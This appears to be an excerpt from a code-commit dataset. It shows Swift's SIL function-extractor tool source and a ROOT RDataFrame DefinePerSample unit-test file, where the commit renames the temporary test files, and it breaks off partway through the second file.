Invocation.setImportSearchPaths(ImportPaths);\n \/\/ Set the SDK path and target if given.\n if (SDKPath.getNumOccurrences() == 0) {\n const char *SDKROOT = getenv(\"SDKROOT\");\n if (SDKROOT)\n SDKPath = SDKROOT;\n }\n if (!SDKPath.empty())\n Invocation.setSDKPath(SDKPath);\n if (!Triple.empty())\n Invocation.setTargetTriple(Triple);\n if (!ResourceDir.empty())\n Invocation.setRuntimeResourcePath(ResourceDir);\n Invocation.getClangImporterOptions().ModuleCachePath = ModuleCachePath;\n Invocation.setParseStdlib();\n Invocation.getLangOptions().DisableAvailabilityChecking = true;\n Invocation.getLangOptions().EnableAccessControl = false;\n Invocation.getLangOptions().EnableObjCAttrRequiresFoundation = false;\n\n \/\/ Load the input file.\n llvm::ErrorOr<std::unique_ptr<llvm::MemoryBuffer>> FileBufOrErr =\n llvm::MemoryBuffer::getFileOrSTDIN(InputFilename);\n if (!FileBufOrErr) {\n fprintf(stderr, \"Error! Failed to open file: %s\\n\", InputFilename.c_str());\n exit(-1);\n }\n\n \/\/ If it looks like we have an AST, set the source file kind to SIL and the\n \/\/ name of the module to the file's name.\n Invocation.addInputBuffer(FileBufOrErr.get().get());\n\n serialization::ExtendedValidationInfo extendedInfo;\n auto result = serialization::validateSerializedAST(\n FileBufOrErr.get()->getBuffer(), &extendedInfo);\n bool HasSerializedAST = result.status == serialization::Status::Valid;\n\n if (HasSerializedAST) {\n const StringRef Stem = ModuleName.size()\n ? StringRef(ModuleName)\n : llvm::sys::path::stem(InputFilename);\n Invocation.setModuleName(Stem);\n Invocation.setInputKind(InputFileKind::IFK_Swift_Library);\n } else {\n Invocation.setModuleName(\"main\");\n Invocation.setInputKind(InputFileKind::IFK_SIL);\n }\n\n SILOptions &SILOpts = Invocation.getSILOptions();\n SILOpts.AssumeUnqualifiedOwnershipWhenParsing =\n AssumeUnqualifiedOwnershipWhenParsing;\n\n CompilerInstance CI;\n PrintingDiagnosticConsumer PrintDiags;\n CI.addDiagnosticConsumer(&PrintDiags);\n\n if (CI.setup(Invocation))\n return 1;\n CI.performSema();\n\n \/\/ If parsing produced an error, don't run any passes.\n if (CI.getASTContext().hadError())\n return 1;\n\n \/\/ Load the SIL if we have a module. We have to do this after SILParse\n \/\/ creating the unfortunate double if statement.\n if (HasSerializedAST) {\n assert(!CI.hasSILModule() &&\n \"performSema() should not create a SILModule.\");\n CI.setSILModule(\n SILModule::createEmptyModule(CI.getMainModule(), CI.getSILOptions()));\n std::unique_ptr<SerializedSILLoader> SL = SerializedSILLoader::create(\n CI.getASTContext(), CI.getSILModule(), nullptr);\n\n if (extendedInfo.isSIB())\n SL->getAllForModule(CI.getMainModule()->getName(), nullptr);\n else\n SL->getAll();\n }\n\n if (!FunctionNames.empty()) {\n \/\/ For efficient usage, we separate our names into two separate sorted\n \/\/ lists, one of managled names, and one of unmangled names.\n std::vector<std::string> Names;\n std::copy(FunctionNames.begin(), FunctionNames.end(),\n std::back_inserter(Names));\n\n \/\/ First partition our function names into mangled\/demangled arrays.\n auto FirstDemangledName = std::partition(\n Names.begin(), Names.end(), [](const std::string &Name) -> bool {\n return StringRef(Name).startswith(\"_T\");\n });\n\n \/\/ Then grab offsets to avoid any issues with iterator invalidation when we\n \/\/ sort.\n unsigned NumMangled = std::distance(Names.begin(), FirstDemangledName);\n unsigned NumNames = Names.size();\n\n \/\/ Then sort the two partitioned arrays.\n std::sort(Names.begin(), FirstDemangledName);\n std::sort(FirstDemangledName, Names.end());\n\n \/\/ Finally construct our ArrayRefs into the sorted std::vector for our\n \/\/ mangled and demangled names.\n ArrayRef<std::string> MangledNames(&*Names.begin(), NumMangled);\n ArrayRef<std::string> DemangledNames(&*std::next(Names.begin(), NumMangled),\n NumNames - NumMangled);\n\n DEBUG(llvm::errs() << \"MangledNames to keep:\\n\";\n std::for_each(MangledNames.begin(), MangledNames.end(),\n [](const std::string &str) {\n llvm::errs() << \" \" << str << '\\n';\n }));\n DEBUG(llvm::errs() << \"DemangledNames to keep:\\n\";\n std::for_each(DemangledNames.begin(), DemangledNames.end(),\n [](const std::string &str) {\n llvm::errs() << \" \" << str << '\\n';\n }));\n\n removeUnwantedFunctions(CI.getSILModule(), MangledNames, DemangledNames);\n }\n\n if (EmitSIB) {\n llvm::SmallString<128> OutputFile;\n if (OutputFilename.size()) {\n OutputFile = OutputFilename;\n } else if (ModuleName.size()) {\n OutputFile = ModuleName;\n llvm::sys::path::replace_extension(OutputFile, SIB_EXTENSION);\n } else {\n OutputFile = CI.getMainModule()->getName().str();\n llvm::sys::path::replace_extension(OutputFile, SIB_EXTENSION);\n }\n\n SerializationOptions serializationOpts;\n serializationOpts.OutputPath = OutputFile.c_str();\n serializationOpts.SerializeAllSIL = true;\n serializationOpts.IsSIB = true;\n\n serialize(CI.getMainModule(), serializationOpts, CI.getSILModule());\n } else {\n const StringRef OutputFile = OutputFilename.size() ?\n StringRef(OutputFilename) : \"-\";\n\n if (OutputFile == \"-\") {\n CI.getSILModule()->print(llvm::outs(), EmitVerboseSIL, CI.getMainModule(),\n EnableSILSortOutput, !DisableASTDump);\n } else {\n std::error_code EC;\n llvm::raw_fd_ostream OS(OutputFile, EC, llvm::sys::fs::F_None);\n if (EC) {\n llvm::errs() << \"while opening '\" << OutputFile << \"': \"\n << EC.message() << '\\n';\n return 1;\n }\n CI.getSILModule()->print(OS, EmitVerboseSIL, CI.getMainModule(),\n EnableSILSortOutput, !DisableASTDump);\n }\n }\n\n return CI.getASTContext().hadError();\n}\n<commit_msg>[gardening] Remove unnecessary template arg.<commit_after>\/\/===--- SILExtract.cpp - SIL function extraction utility -----------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/\n\/\/\/ This utility is meant to help simplify the extraction of test cases from sil\n\/\/\/ files by removing (currently only) functions that do not match a list of\n\/\/\/ string. It also allows for the inverse to be selected. Eventually this\n\/\/\/ should have additional capabilities like stripping globals, vtables, etc.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"sil-func-extractor\"\n#include \"swift\/Strings.h\"\n#include \"swift\/Basic\/Demangle.h\"\n#include \"swift\/Basic\/LLVM.h\"\n#include \"swift\/Basic\/LLVMInitialize.h\"\n#include \"swift\/Frontend\/DiagnosticVerifier.h\"\n#include \"swift\/Frontend\/Frontend.h\"\n#include \"swift\/Frontend\/PrintingDiagnosticConsumer.h\"\n#include \"swift\/SIL\/SILBuilder.h\"\n#include \"swift\/SIL\/SILUndef.h\"\n#include \"swift\/SILOptimizer\/Analysis\/Analysis.h\"\n#include \"swift\/SILOptimizer\/PassManager\/PassManager.h\"\n#include \"swift\/SILOptimizer\/PassManager\/Passes.h\"\n#include \"swift\/Serialization\/SerializedModuleLoader.h\"\n#include \"swift\/Serialization\/SerializationOptions.h\"\n#include \"swift\/Serialization\/SerializedSILLoader.h\"\n#include \"swift\/Subsystems.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include <cstdio>\n\nusing namespace swift;\n\nstatic llvm::cl::opt<std::string> InputFilename(llvm::cl::desc(\"input file\"),\n llvm::cl::init(\"-\"),\n llvm::cl::Positional);\n\nstatic llvm::cl::opt<std::string>\n OutputFilename(\"o\", llvm::cl::desc(\"output filename\"), llvm::cl::init(\"-\"));\n\nstatic llvm::cl::opt<bool>\n EmitVerboseSIL(\"emit-verbose-sil\",\n llvm::cl::desc(\"Emit locations during sil emission.\"));\n\nstatic llvm::cl::list<std::string>\n FunctionNames(\"func\", llvm::cl::desc(\"Function names to extract.\"));\n\nstatic llvm::cl::opt<bool>\nEmitSIB(\"emit-sib\",\n llvm::cl::desc(\"Emit a sib file as output instead of a sil file\"));\n\nstatic llvm::cl::opt<bool> InvertMatch(\n \"invert\",\n llvm::cl::desc(\"Match functions whose name do not \"\n \"match the names of the functions to be extracted\"));\n\nstatic llvm::cl::list<std::string>\n ImportPaths(\"I\",\n llvm::cl::desc(\"add a directory to the import search path\"));\n\nstatic llvm::cl::opt<std::string>\n ModuleName(\"module-name\",\n llvm::cl::desc(\"The name of the module if processing\"\n \" a module. Necessary for processing \"\n \"stdin.\"));\n\nstatic llvm::cl::opt<std::string>\n ModuleCachePath(\"module-cache-path\",\n llvm::cl::desc(\"Clang module cache path\"));\n\nstatic llvm::cl::opt<std::string> ResourceDir(\n \"resource-dir\",\n llvm::cl::desc(\"The directory that holds the compiler resource files\"));\n\nstatic llvm::cl::opt<std::string>\n SDKPath(\"sdk\", llvm::cl::desc(\"The path to the SDK for use with the clang \"\n \"importer.\"),\n llvm::cl::init(\"\"));\n\nstatic llvm::cl::opt<std::string> Triple(\"target\",\n llvm::cl::desc(\"target triple\"));\n\nstatic llvm::cl::opt<bool>\nEnableSILSortOutput(\"emit-sorted-sil\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Sort Functions, VTables, Globals, \"\n \"WitnessTables by name to ease diffing.\"));\n\nstatic llvm::cl::opt<bool>\nDisableASTDump(\"sil-disable-ast-dump\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Do not dump AST.\"));\n\nstatic llvm::cl::opt<bool> AssumeUnqualifiedOwnershipWhenParsing(\n \"assume-parsing-unqualified-ownership-sil\", llvm::cl::Hidden,\n llvm::cl::init(false),\n llvm::cl::desc(\"Assume all parsed functions have unqualified ownership\"));\n\n\/\/ This function isn't referenced outside its translation unit, but it\n\/\/ can't use the \"static\" keyword because its address is used for\n\/\/ getMainExecutable (since some platforms don't support taking the\n\/\/ address of main, and some platforms can't implement getMainExecutable\n\/\/ without being given the address of a function in the main executable).\nvoid anchorForGetMainExecutable() {}\n\nstatic bool stringInSortedArray(\n StringRef str, ArrayRef<std::string> list,\n llvm::function_ref<bool(const std::string &, const std::string &)> &&cmp) {\n if (list.empty())\n return false;\n auto iter = std::lower_bound(list.begin(), list.end(), str, cmp);\n \/\/ If we didn't find str, return false.\n if (list.end() == iter)\n return false;\n\n return !cmp(str, *iter);\n}\n\nvoid removeUnwantedFunctions(SILModule *M, ArrayRef<std::string> MangledNames,\n ArrayRef<std::string> DemangledNames) {\n assert((!MangledNames.empty() || !DemangledNames.empty()) &&\n \"Expected names of function we want to retain!\");\n assert(M && \"Expected a SIL module to extract from.\");\n\n std::vector<SILFunction *> DeadFunctions;\n for (auto &F : M->getFunctionList()) {\n StringRef MangledName = F.getName();\n std::string DemangledName =\n swift::Demangle::demangleSymbolAsString(MangledName);\n DemangledName = DemangledName.substr(0, DemangledName.find(' '));\n DEBUG(llvm::dbgs() << \"Visiting New Func:\\n\"\n << \" Mangled: \" << MangledName\n << \"\\n Demangled: \" << DemangledName << \"\\n\");\n\n bool FoundMangledName = stringInSortedArray(MangledName, MangledNames,\n std::less<std::string>());\n bool FoundDemangledName = stringInSortedArray(\n DemangledName, DemangledNames,\n [](const std::string &str1, const std::string &str2) -> bool {\n return str1.substr(0, str1.find(' ')) <\n str2.substr(0, str2.find(' '));\n });\n if ((FoundMangledName || FoundDemangledName) ^ InvertMatch) {\n DEBUG(llvm::dbgs() << \" Not removing!\\n\");\n continue;\n }\n\n DEBUG(llvm::dbgs() << \" Removing!\\n\");\n\n \/\/ If F has no body, there is nothing further to do.\n if (!F.size())\n continue;\n\n SILBasicBlock &BB = F.front();\n SILLocation Loc = BB.back().getLoc();\n BB.split(BB.begin());\n \/\/ Make terminator unreachable.\n SILBuilder(&BB).createUnreachable(Loc);\n DeadFunctions.push_back(&F);\n }\n\n \/\/ After running this pass all of the functions we will remove\n \/\/ should consist only of one basic block terminated by\n \/\/ UnreachableInst.\n performSILDiagnoseUnreachable(M);\n\n \/\/ Now mark all of these functions as public and remove their bodies.\n for (auto &F : DeadFunctions) {\n F->setLinkage(SILLinkage::PublicExternal);\n F->getBlocks().clear();\n }\n\n \/\/ Remove dead functions.\n SILPassManager PM(M);\n PM.addDeadFunctionElimination();\n PM.run();\n}\n\nint main(int argc, char **argv) {\n INITIALIZE_LLVM(argc, argv);\n\n llvm::cl::ParseCommandLineOptions(argc, argv, \"Swift SIL Extractor\\n\");\n\n CompilerInvocation Invocation;\n\n Invocation.setMainExecutablePath(llvm::sys::fs::getMainExecutable(\n argv[0], reinterpret_cast<void *>(&anchorForGetMainExecutable)));\n\n \/\/ Give the context the list of search paths to use for modules.\n Invocation.setImportSearchPaths(ImportPaths);\n \/\/ Set the SDK path and target if given.\n if (SDKPath.getNumOccurrences() == 0) {\n const char *SDKROOT = getenv(\"SDKROOT\");\n if (SDKROOT)\n SDKPath = SDKROOT;\n }\n if (!SDKPath.empty())\n Invocation.setSDKPath(SDKPath);\n if (!Triple.empty())\n Invocation.setTargetTriple(Triple);\n if (!ResourceDir.empty())\n Invocation.setRuntimeResourcePath(ResourceDir);\n Invocation.getClangImporterOptions().ModuleCachePath = ModuleCachePath;\n Invocation.setParseStdlib();\n Invocation.getLangOptions().DisableAvailabilityChecking = true;\n Invocation.getLangOptions().EnableAccessControl = false;\n Invocation.getLangOptions().EnableObjCAttrRequiresFoundation = false;\n\n \/\/ Load the input file.\n llvm::ErrorOr<std::unique_ptr<llvm::MemoryBuffer>> FileBufOrErr =\n llvm::MemoryBuffer::getFileOrSTDIN(InputFilename);\n if (!FileBufOrErr) {\n fprintf(stderr, \"Error! Failed to open file: %s\\n\", InputFilename.c_str());\n exit(-1);\n }\n\n \/\/ If it looks like we have an AST, set the source file kind to SIL and the\n \/\/ name of the module to the file's name.\n Invocation.addInputBuffer(FileBufOrErr.get().get());\n\n serialization::ExtendedValidationInfo extendedInfo;\n auto result = serialization::validateSerializedAST(\n FileBufOrErr.get()->getBuffer(), &extendedInfo);\n bool HasSerializedAST = result.status == serialization::Status::Valid;\n\n if (HasSerializedAST) {\n const StringRef Stem = ModuleName.size()\n ? StringRef(ModuleName)\n : llvm::sys::path::stem(InputFilename);\n Invocation.setModuleName(Stem);\n Invocation.setInputKind(InputFileKind::IFK_Swift_Library);\n } else {\n Invocation.setModuleName(\"main\");\n Invocation.setInputKind(InputFileKind::IFK_SIL);\n }\n\n SILOptions &SILOpts = Invocation.getSILOptions();\n SILOpts.AssumeUnqualifiedOwnershipWhenParsing =\n AssumeUnqualifiedOwnershipWhenParsing;\n\n CompilerInstance CI;\n PrintingDiagnosticConsumer PrintDiags;\n CI.addDiagnosticConsumer(&PrintDiags);\n\n if (CI.setup(Invocation))\n return 1;\n CI.performSema();\n\n \/\/ If parsing produced an error, don't run any passes.\n if (CI.getASTContext().hadError())\n return 1;\n\n \/\/ Load the SIL if we have a module. We have to do this after SILParse\n \/\/ creating the unfortunate double if statement.\n if (HasSerializedAST) {\n assert(!CI.hasSILModule() &&\n \"performSema() should not create a SILModule.\");\n CI.setSILModule(\n SILModule::createEmptyModule(CI.getMainModule(), CI.getSILOptions()));\n std::unique_ptr<SerializedSILLoader> SL = SerializedSILLoader::create(\n CI.getASTContext(), CI.getSILModule(), nullptr);\n\n if (extendedInfo.isSIB())\n SL->getAllForModule(CI.getMainModule()->getName(), nullptr);\n else\n SL->getAll();\n }\n\n if (!FunctionNames.empty()) {\n \/\/ For efficient usage, we separate our names into two separate sorted\n \/\/ lists, one of managled names, and one of unmangled names.\n std::vector<std::string> Names;\n std::copy(FunctionNames.begin(), FunctionNames.end(),\n std::back_inserter(Names));\n\n \/\/ First partition our function names into mangled\/demangled arrays.\n auto FirstDemangledName = std::partition(\n Names.begin(), Names.end(), [](const std::string &Name) -> bool {\n return StringRef(Name).startswith(\"_T\");\n });\n\n \/\/ Then grab offsets to avoid any issues with iterator invalidation when we\n \/\/ sort.\n unsigned NumMangled = std::distance(Names.begin(), FirstDemangledName);\n unsigned NumNames = Names.size();\n\n \/\/ Then sort the two partitioned arrays.\n std::sort(Names.begin(), FirstDemangledName);\n std::sort(FirstDemangledName, Names.end());\n\n \/\/ Finally construct our ArrayRefs into the sorted std::vector for our\n \/\/ mangled and demangled names.\n ArrayRef<std::string> MangledNames(&*Names.begin(), NumMangled);\n ArrayRef<std::string> DemangledNames(&*std::next(Names.begin(), NumMangled),\n NumNames - NumMangled);\n\n DEBUG(llvm::errs() << \"MangledNames to keep:\\n\";\n std::for_each(MangledNames.begin(), MangledNames.end(),\n [](const std::string &str) {\n llvm::errs() << \" \" << str << '\\n';\n }));\n DEBUG(llvm::errs() << \"DemangledNames to keep:\\n\";\n std::for_each(DemangledNames.begin(), DemangledNames.end(),\n [](const std::string &str) {\n llvm::errs() << \" \" << str << '\\n';\n }));\n\n removeUnwantedFunctions(CI.getSILModule(), MangledNames, DemangledNames);\n }\n\n if (EmitSIB) {\n llvm::SmallString<128> OutputFile;\n if (OutputFilename.size()) {\n OutputFile = OutputFilename;\n } else if (ModuleName.size()) {\n OutputFile = ModuleName;\n llvm::sys::path::replace_extension(OutputFile, SIB_EXTENSION);\n } else {\n OutputFile = CI.getMainModule()->getName().str();\n llvm::sys::path::replace_extension(OutputFile, SIB_EXTENSION);\n }\n\n SerializationOptions serializationOpts;\n serializationOpts.OutputPath = OutputFile.c_str();\n serializationOpts.SerializeAllSIL = true;\n serializationOpts.IsSIB = true;\n\n serialize(CI.getMainModule(), serializationOpts, CI.getSILModule());\n } else {\n const StringRef OutputFile = OutputFilename.size() ?\n StringRef(OutputFilename) : \"-\";\n\n if (OutputFile == \"-\") {\n CI.getSILModule()->print(llvm::outs(), EmitVerboseSIL, CI.getMainModule(),\n EnableSILSortOutput, !DisableASTDump);\n } else {\n std::error_code EC;\n llvm::raw_fd_ostream OS(OutputFile, EC, llvm::sys::fs::F_None);\n if (EC) {\n llvm::errs() << \"while opening '\" << OutputFile << \"': \"\n << EC.message() << '\\n';\n return 1;\n }\n CI.getSILModule()->print(OS, EmitVerboseSIL, CI.getMainModule(),\n EnableSILSortOutput, !DisableASTDump);\n }\n }\n\n return CI.getASTContext().hadError();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <ROOT\/RDataFrame.hxx>\n#include <ROOT\/RTrivialDS.hxx>\n#include <TChain.h>\n#include <TSystem.h>\n#include <TTree.h>\n\n#include <gtest\/gtest.h>\n\n#include <atomic>\n#include <memory>\n#include <thread> \/\/ std::thread::hardware_concurrency\n\n\/\/ fixture for all tests in this file\nstruct DefinePerSample : ::testing::TestWithParam<bool> {\n unsigned int NSLOTS;\n unsigned int NENTRIES = std::max(10u, std::thread::hardware_concurrency() * 2);\n\n DefinePerSample() : NSLOTS(GetParam() ? std::min(4u, std::thread::hardware_concurrency()) : 1u)\n {\n if (GetParam())\n ROOT::EnableImplicitMT();\n }\n\n ~DefinePerSample()\n {\n if (GetParam())\n ROOT::DisableImplicitMT();\n }\n};\n\n\/\/ A RAII object that ensures existence of nFiles root files named prefix0.root, prefix1.root, ...\n\/\/ Each file contains a TTree called \"t\" with one `int` branch called \"x\" with sequentially increasing values (0,1,2...)\nstruct InputFilesRAII {\n unsigned int fNFiles = 0;\n std::string fPrefix;\n\n InputFilesRAII(unsigned int nFiles, std::string prefix) : fNFiles(nFiles), fPrefix(std::move(prefix))\n {\n for (auto i = 0u; i < fNFiles; ++i) {\n TFile f((fPrefix + std::to_string(i) + \".root\").c_str(), \"recreate\");\n TTree t(\"t\", \"t\");\n t.Branch(\"x\", &i);\n t.Fill();\n t.Write();\n }\n }\n\n ~InputFilesRAII()\n {\n for (auto i = 0u; i < fNFiles; ++i)\n gSystem->Unlink((fPrefix + std::to_string(i) + \".root\").c_str());\n }\n};\n\nTEST_P(DefinePerSample, NoJitting)\n{\n std::atomic_int counter{0};\n auto df = ROOT::RDataFrame(NENTRIES).DefinePerSample(\"x\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &) {\n ++counter;\n return 42;\n });\n auto xmin = df.Min<int>(\"x\");\n auto xmax = df.Max<int>(\"x\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n \/\/ RDF with empty sources tries to produce 2 tasks per slot when MT is enabled\n const auto expected = ROOT::IsImplicitMTEnabled() ? std::min(NENTRIES, df.GetNSlots() * 2u) : 1u;\n EXPECT_EQ(counter, expected);\n}\n\nint AtomicIntValueFromInterpreter(std::string_view varName)\n{\n return int(*reinterpret_cast<std::atomic_int *>(gInterpreter->Calc(varName.data())));\n}\n\nTEST(DefinePerSample, Jitted)\n{\n gInterpreter->Declare(\"std::atomic_int rdftestcounter1{0};\");\n auto df = ROOT::RDataFrame(3).DefinePerSample(\"x\", \"rdftestcounter1++; return 42;\");\n auto xmin = df.Min<int>(\"x\");\n auto xmax = df.Max<int>(\"x\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n \/\/ RDF with empty sources tries to produce 2 tasks per slot when MT is enabled\n const auto expected = ROOT::IsImplicitMTEnabled() ? std::min(3u, df.GetNSlots() * 2u) : 1u;\n EXPECT_EQ(AtomicIntValueFromInterpreter(\"rdftestcounter1\"), expected);\n}\n\nTEST_P(DefinePerSample, Tree)\n{\n const std::string prefix = \"rdfdatablockcallback_ttree\";\n InputFilesRAII file(1u, prefix);\n ROOT::RDataFrame df(\"t\", prefix + \"*\");\n\n std::atomic_int counter{0};\n auto df2 = df.DefinePerSample(\"y\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &db) {\n EXPECT_EQ(db.EntryRange(), std::make_pair(0ull, 1ull));\n ++counter;\n return 42;\n });\n auto xmin = df2.Min<int>(\"y\");\n auto xmax = df2.Max<int>(\"y\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n const auto expected = 1u; \/\/ as the TTree only contains one cluster, we only have one \"data-block\"\n EXPECT_EQ(counter, expected);\n}\n\nTEST_P(DefinePerSample, TChain)\n{\n const std::string prefix = \"rdfdatablockcallback_tchain\";\n InputFilesRAII file(5u, prefix);\n ROOT::RDataFrame df(\"t\", prefix + \"*\");\n\n std::atomic_int counter{0};\n auto df2 = df.DefinePerSample(\"y\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &db) {\n EXPECT_EQ(db.EntryRange(), std::make_pair(0ull, 1ull));\n ++counter;\n return 42;\n });\n auto xmin = df2.Min<int>(\"y\");\n auto xmax = df2.Max<int>(\"y\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n const auto expected = 5u; \/\/ one \"data-block\" per tree (because each tree only has one cluster)\n EXPECT_EQ(counter, expected);\n}\n\nTEST(DefinePerSampleMore, ThrowOnRedefinition)\n{\n auto df = ROOT::RDataFrame(1)\n .Define(\"x\", [] { return 42; });\n EXPECT_THROW(df.DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; }),\n std::runtime_error);\n}\n\nTEST(DefinePerSampleMore, GetColumnType)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetColumnType(\"x\"), \"int\");\n}\n\nTEST(DefinePerSampleMore, GetColumnNames)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetColumnNames(), std::vector<std::string>{\"x\"});\n}\n\nTEST(DefinePerSampleMore, GetDefinedColumnNames)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetDefinedColumnNames(), std::vector<std::string>{\"x\"});\n}\n\n\/* TODO\n\/\/ Not supported yet\nTEST(DefinePerSample, DataSource)\n{\n ROOT::RDataFrame df(std::make_unique<ROOT::RDF::RTrivialDS>(1));\n auto r = df.DefinePerSample(\"col0\", [] { return 42; }).Max<int>(\"col0\");\n EXPECT_EQ(*r, 42);\n}\n*\/\n\n\/\/ instantiate single-thread tests\nINSTANTIATE_TEST_SUITE_P(Seq, DefinePerSample, ::testing::Values(false));\n\n#ifdef R__USE_IMT\n\/\/ instantiate multi-thread tests\nINSTANTIATE_TEST_SUITE_P(MT, DefinePerSample, ::testing::Values(true));\n#endif\n<commit_msg>[DF] Use different file names in different tests<commit_after>#include <ROOT\/RDataFrame.hxx>\n#include <ROOT\/RTrivialDS.hxx>\n#include <TChain.h>\n#include <TSystem.h>\n#include <TTree.h>\n\n#include <gtest\/gtest.h>\n\n#include <atomic>\n#include <memory>\n#include <thread> \/\/ std::thread::hardware_concurrency\n\n\/\/ fixture for all tests in this file\nstruct DefinePerSample : ::testing::TestWithParam<bool> {\n unsigned int NSLOTS;\n unsigned int NENTRIES = std::max(10u, std::thread::hardware_concurrency() * 2);\n\n DefinePerSample() : NSLOTS(GetParam() ? std::min(4u, std::thread::hardware_concurrency()) : 1u)\n {\n if (GetParam())\n ROOT::EnableImplicitMT();\n }\n\n ~DefinePerSample()\n {\n if (GetParam())\n ROOT::DisableImplicitMT();\n }\n};\n\n\/\/ A RAII object that ensures existence of nFiles root files named prefix0.root, prefix1.root, ...\n\/\/ Each file contains a TTree called \"t\" with one `int` branch called \"x\" with sequentially increasing values (0,1,2...)\nstruct InputFilesRAII {\n unsigned int fNFiles = 0;\n std::string fPrefix;\n\n InputFilesRAII(unsigned int nFiles, std::string prefix) : fNFiles(nFiles), fPrefix(std::move(prefix))\n {\n for (auto i = 0u; i < fNFiles; ++i) {\n TFile f((fPrefix + std::to_string(i) + \".root\").c_str(), \"recreate\");\n TTree t(\"t\", \"t\");\n t.Branch(\"x\", &i);\n t.Fill();\n t.Write();\n }\n }\n\n ~InputFilesRAII()\n {\n for (auto i = 0u; i < fNFiles; ++i)\n gSystem->Unlink((fPrefix + std::to_string(i) + \".root\").c_str());\n }\n};\n\nTEST_P(DefinePerSample, NoJitting)\n{\n std::atomic_int counter{0};\n auto df = ROOT::RDataFrame(NENTRIES).DefinePerSample(\"x\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &) {\n ++counter;\n return 42;\n });\n auto xmin = df.Min<int>(\"x\");\n auto xmax = df.Max<int>(\"x\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n \/\/ RDF with empty sources tries to produce 2 tasks per slot when MT is enabled\n const auto expected = ROOT::IsImplicitMTEnabled() ? std::min(NENTRIES, df.GetNSlots() * 2u) : 1u;\n EXPECT_EQ(counter, expected);\n}\n\nint AtomicIntValueFromInterpreter(std::string_view varName)\n{\n return int(*reinterpret_cast<std::atomic_int *>(gInterpreter->Calc(varName.data())));\n}\n\nTEST(DefinePerSample, Jitted)\n{\n gInterpreter->Declare(\"std::atomic_int rdftestcounter1{0};\");\n auto df = ROOT::RDataFrame(3).DefinePerSample(\"x\", \"rdftestcounter1++; return 42;\");\n auto xmin = df.Min<int>(\"x\");\n auto xmax = df.Max<int>(\"x\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n \/\/ RDF with empty sources tries to produce 2 tasks per slot when MT is enabled\n const auto expected = ROOT::IsImplicitMTEnabled() ? std::min(3u, df.GetNSlots() * 2u) : 1u;\n EXPECT_EQ(AtomicIntValueFromInterpreter(\"rdftestcounter1\"), expected);\n}\n\nTEST_P(DefinePerSample, Tree)\n{\n const std::string prefix = \"rdfdefinepersample_tree\";\n InputFilesRAII file(1u, prefix);\n ROOT::RDataFrame df(\"t\", prefix + \"*\");\n\n std::atomic_int counter{0};\n auto df2 = df.DefinePerSample(\"y\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &db) {\n EXPECT_EQ(db.EntryRange(), std::make_pair(0ull, 1ull));\n ++counter;\n return 42;\n });\n auto xmin = df2.Min<int>(\"y\");\n auto xmax = df2.Max<int>(\"y\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n const auto expected = 1u; \/\/ as the TTree only contains one cluster, we only have one \"data-block\"\n EXPECT_EQ(counter, expected);\n}\n\nTEST_P(DefinePerSample, TChain)\n{\n const std::string prefix = \"rdfdefinepersample_chain\";\n InputFilesRAII file(5u, prefix);\n ROOT::RDataFrame df(\"t\", prefix + \"*\");\n\n std::atomic_int counter{0};\n auto df2 = df.DefinePerSample(\"y\", [&counter](unsigned int, const ROOT::RDF::RSampleInfo &db) {\n EXPECT_EQ(db.EntryRange(), std::make_pair(0ull, 1ull));\n ++counter;\n return 42;\n });\n auto xmin = df2.Min<int>(\"y\");\n auto xmax = df2.Max<int>(\"y\");\n EXPECT_EQ(*xmin, 42);\n EXPECT_EQ(*xmax, 42);\n const auto expected = 5u; \/\/ one \"data-block\" per tree (because each tree only has one cluster)\n EXPECT_EQ(counter, expected);\n}\n\nTEST(DefinePerSampleMore, ThrowOnRedefinition)\n{\n auto df = ROOT::RDataFrame(1)\n .Define(\"x\", [] { return 42; });\n EXPECT_THROW(df.DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; }),\n std::runtime_error);\n}\n\nTEST(DefinePerSampleMore, GetColumnType)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetColumnType(\"x\"), 